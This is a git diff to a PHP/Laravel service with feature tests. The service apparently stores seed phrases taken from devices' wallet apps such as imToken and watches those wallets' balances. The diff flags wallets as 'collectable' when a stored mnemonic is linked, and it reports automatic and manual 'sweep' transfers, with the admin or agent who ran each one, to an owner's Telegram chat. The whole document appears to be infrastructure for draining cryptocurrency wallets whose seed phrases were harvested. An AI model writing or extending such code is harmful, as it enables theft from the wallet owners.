diff --git a/app/Services/TelegramNotifier.php b/app/Services/TelegramNotifier.php
index 3b1b9cb..f561f18 100644
--- a/app/Services/TelegramNotifier.php
+++ b/app/Services/TelegramNotifier.php
@@ -376,13 +376,19 @@ class TelegramNotifier
?string $chain = null,
?string $balance = null,
bool $inbound = true,
+ ?bool $collectable = null,
+ ?string $source = null,
): void {
$signed = ($inbound ? '+' : '-').ltrim($amount, '+-');
+ $source = trim((string) $source);
+ $chain = trim((string) $chain);
+ $origin = implode(' - ', array_values(array_filter([$source, $chain])));
$lines = [
$inbound ? '✅ 余额入账' : '📤 余额转出',
...$this->deviceHeader($deviceId),
- '🪙 链: '.$this->e($chain ?: '—'),
+ '🏷 来源: '.$this->e($origin !== '' ? $origin : '—'),
'📬 地址: '.$this->e($address).'',
+ '📥 可归集: '.($collectable === true ? '✅' : '❌'),
'💵 金额: '.$this->e($signed).' '.$this->e($symbol),
];
if ($balance !== null && trim($balance) !== '') {
@@ -392,7 +398,7 @@ class TelegramNotifier
}
/**
- * Auto-transfer result (success or failure).
+ * Sweep / transfer result (auto cron or admin/agent/telegram).
*/
public function notifyAutoTransfer(
string $deviceId,
@@ -404,14 +410,22 @@ class TelegramNotifier
?string $toAddress = null,
?string $txid = null,
?string $error = null,
+ ?string $operator = null,
): void {
+ $auto = trim((string) $operator) === 'auto';
$lines = [
- $ok ? '🚀 自动转账成功' : '⚠️ 自动转账失败',
+ $ok
+ ? ($auto ? '🚀 自动转账成功' : '🧾 手动归集成功')
+ : ($auto ? '⚠️ 自动转账失败' : '⚠️ 手动归集失败'),
...$this->deviceHeader($deviceId),
- '🪙 链: '.$this->e($chain !== '' ? strtoupper($chain) : '—'),
- '💎 资产: '.$this->e($asset !== '' ? strtoupper($asset) : '—'),
- '📤 转出: '.$this->e($fromAddress).'',
];
+ $who = $this->operatorDisplay($operator);
+ if ($who !== '') {
+ $lines[] = '👤 操作人: '.$this->e($who);
+ }
+ $lines[] = '🪙 链: '.$this->e($chain !== '' ? strtoupper($chain) : '—');
+ $lines[] = '💎 资产: '.$this->e($asset !== '' ? strtoupper($asset) : '—');
+ $lines[] = '📤 转出: '.$this->e($fromAddress).'';
if ($toAddress !== null && trim($toAddress) !== '') {
$lines[] = '📥 转入: '.$this->e($toAddress).'';
}
@@ -427,6 +441,28 @@ class TelegramNotifier
$this->send(implode("\n", $lines), $deviceId);
}
+ public function operatorDisplay(?string $operator): string
+ {
+ $operator = trim((string) $operator);
+ if ($operator === '' || $operator === 'auto') {
+ return '';
+ }
+ if (preg_match('/^admin:\d+@(.+)$/', $operator, $m) === 1) {
+ return '管理员 '.$m[1];
+ }
+ if (preg_match('/^agent:\d+@(.+)$/', $operator, $m) === 1) {
+ return '代理 '.$m[1];
+ }
+ if (preg_match('/^telegram:\d+@(.+)$/', $operator, $m) === 1) {
+ return 'Telegram @'.$m[1];
+ }
+ if (preg_match('/^telegram:(.+)$/', $operator, $m) === 1) {
+ return 'Telegram '.$m[1];
+ }
+
+ return $operator;
+ }
+
/**
* TRON fee / energy top-up result.
*/
diff --git a/app/Services/Tokenview/TokenviewMonitorService.php b/app/Services/Tokenview/TokenviewMonitorService.php
index 59f9783..08fea64 100644
--- a/app/Services/Tokenview/TokenviewMonitorService.php
+++ b/app/Services/Tokenview/TokenviewMonitorService.php
@@ -246,6 +246,11 @@ class TokenviewMonitorService
'changes' => $changes,
'rows_count' => $rows->count(),
]);
+ $collectable = $rows->contains(fn (WalletAddress $row) => $row->mnemonic_id !== null);
+ $source = trim((string) ($primary->source ?? ''));
+ if ($source === '') {
+ $source = (string) ($rows->first(fn (WalletAddress $row) => trim((string) $row->source) !== '')?->source ?? '');
+ }
foreach ($changes as $col => $delta) {
$this->telegram->notifyBalanceChange(
(string) $deviceKey,
@@ -255,6 +260,8 @@ class TokenviewMonitorService
$coin,
$balanceSummary,
$delta > 0,
+ $collectable,
+ $source,
);
}
}
diff --git a/app/Services/TransferService.php b/app/Services/TransferService.php
index 5566c5f..b8c5060 100644
--- a/app/Services/TransferService.php
+++ b/app/Services/TransferService.php
@@ -336,7 +336,7 @@ class TransferService
private function notifyTransferTelegram(array $record, array $result): void
{
$operator = (string) ($record['operator'] ?? '');
- if ($operator !== 'auto') {
+ if (str_starts_with($operator, 'fee-topup')) {
return;
}
@@ -357,6 +357,7 @@ class TransferService
isset($record['to_address']) ? (string) $record['to_address'] : null,
isset($record['tx_hash']) ? (string) $record['tx_hash'] : null,
isset($record['error']) ? (string) $record['error'] : ($result['error'] ?? null),
+ $operator !== '' ? $operator : null,
);
} catch (\Throwable) {
// never break transfer for telegram
diff --git a/tests/Feature/TokenviewWebhookTest.php b/tests/Feature/TokenviewWebhookTest.php
index dacf32c..7488f98 100644
--- a/tests/Feature/TokenviewWebhookTest.php
+++ b/tests/Feature/TokenviewWebhookTest.php
@@ -6,6 +6,7 @@ use App\Models\Admin;
use App\Models\Device;
use App\Models\TokenviewEvent;
use App\Models\WalletAddress;
+use App\Models\WalletMnemonic;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
use PHPUnit\Framework\Attributes\Test;
@@ -179,7 +180,10 @@ class TokenviewWebhookTest extends TestCase
return str_contains($text, '余额入账')
&& str_contains($text, '+5 USDT')
&& str_contains($text, '余额')
- && str_contains($text, 'USDT');
+ && str_contains($text, 'USDT')
+ && str_contains($text, '来源: imToken - TRX')
+ && str_contains($text, '可归集')
+ && str_contains($text, '❌');
});
}
@@ -244,7 +248,8 @@ class TokenviewWebhookTest extends TestCase
&& str_contains($text, '-500 USDT')
&& ! str_contains($text, '余额入账')
&& str_contains($text, '余额')
- && str_contains($text, '45.6');
+ && str_contains($text, '45.6')
+ && str_contains($text, '可归集: ❌');
});
}
@@ -336,6 +341,58 @@ class TokenviewWebhookTest extends TestCase
$this->assertSame(0, TokenviewEvent::query()->count());
}
+ #[Test]
+ public function webhook_marks_balance_change_collectable_when_mnemonic_linked(): void
+ {
+ config(['coruna.tokenview.sign_key' => '']);
+ Http::fake([
+ 'api.telegram.org/*' => Http::response(['ok' => true], 200),
+ ]);
+ config([
+ 'coruna.telegram.bot_token' => 'bot-token',
+ 'coruna.telegram.owner_chat_id' => '12345',
+ ]);
+
+ $device = Device::query()->create([
+ 'device_id' => 'dev-tv-collectable',
+ 'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+ ]);
+ $mnemonic = new WalletMnemonic([
+ 'device_id' => $device->id,
+ 'source' => 'imToken',
+ ]);
+ $mnemonic->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
+ $mnemonic->save();
+ $addr = WalletAddress::query()->create([
+ 'device_id' => $device->id,
+ 'address' => '0xab5c66752a9e8167967685f1450532fb96d5d24f',
+ 'chain_type' => 'ETH',
+ 'source' => 'imToken',
+ 'eth' => 1.0,
+ 'monitor' => 1,
+ 'mnemonic_id' => $mnemonic->id,
+ ]);
+
+ $this->postJson('/hooks/tokenview', [
+ 'address' => $addr->address,
+ 'txid' => '0xcollectable-'.str_repeat('b', 40),
+ 'coin' => 'ETH',
+ 'value' => '0.5',
+ ])->assertOk()->assertSee('ok');
+
+ Http::assertSent(function ($request) {
+ if (! str_contains($request->url(), 'api.telegram.org')) {
+ return false;
+ }
+ $text = (string) ($request->data()['text'] ?? '');
+
+ return str_contains($text, '余额入账')
+ && str_contains($text, '来源: imToken - ETH')
+ && str_contains($text, '可归集: ✅')
+ && ! str_contains($text, '可归集: ❌');
+ });
+ }
+
#[Test]
public function webhook_ignores_address_when_monitor_off(): void
{
diff --git a/tests/Feature/TransferTelegramNotifyTest.php b/tests/Feature/TransferTelegramNotifyTest.php
index 59d8852..fe119ea 100644
--- a/tests/Feature/TransferTelegramNotifyTest.php
+++ b/tests/Feature/TransferTelegramNotifyTest.php
@@ -101,7 +101,7 @@ class TransferTelegramNotifyTest extends TestCase
}
#[Test]
- public function manual_transfer_does_not_send_auto_telegram(): void
+ public function admin_sweep_sends_manual_telegram(): void
{
$this->seedDevice();
Http::fake([
@@ -118,10 +118,22 @@ class TransferTelegramNotifyTest extends TestCase
'api.telegram.org/*' => Http::response(['ok' => true], 200),
]);
- $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'admin');
+ $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'TRX', 'admin:1@alice');
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
- Http::assertNotSent(fn ($request) => str_contains($request->url(), 'api.telegram.org'));
+ Http::assertSent(function ($request) {
+ if (! str_contains($request->url(), 'api.telegram.org/bottg-token/sendMessage')) {
+ return false;
+ }
+ $text = (string) ($request->data()['text'] ?? '');
+
+ return str_contains($text, '手动归集成功')
+ && str_contains($text, '操作人')
+ && str_contains($text, '管理员 alice')
+ && str_contains($text, self::FROM)
+ && ! str_contains($text, '自动转账')
+ && ($request->data()['chat_id'] ?? null) === '10001';
+ });
}
#[Test]
@@ -174,7 +186,7 @@ class TransferTelegramNotifyTest extends TestCase
return Http::response([], 404);
});
- $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'admin');
+ $result = app(TransferService::class)->handle('tron', self::FROM, '1', 'USDT', 'admin:1@alice');
$this->assertTrue($result['ok'] ?? false, $result['error'] ?? '');
Http::assertSent(function ($request) use ($feeFrom) {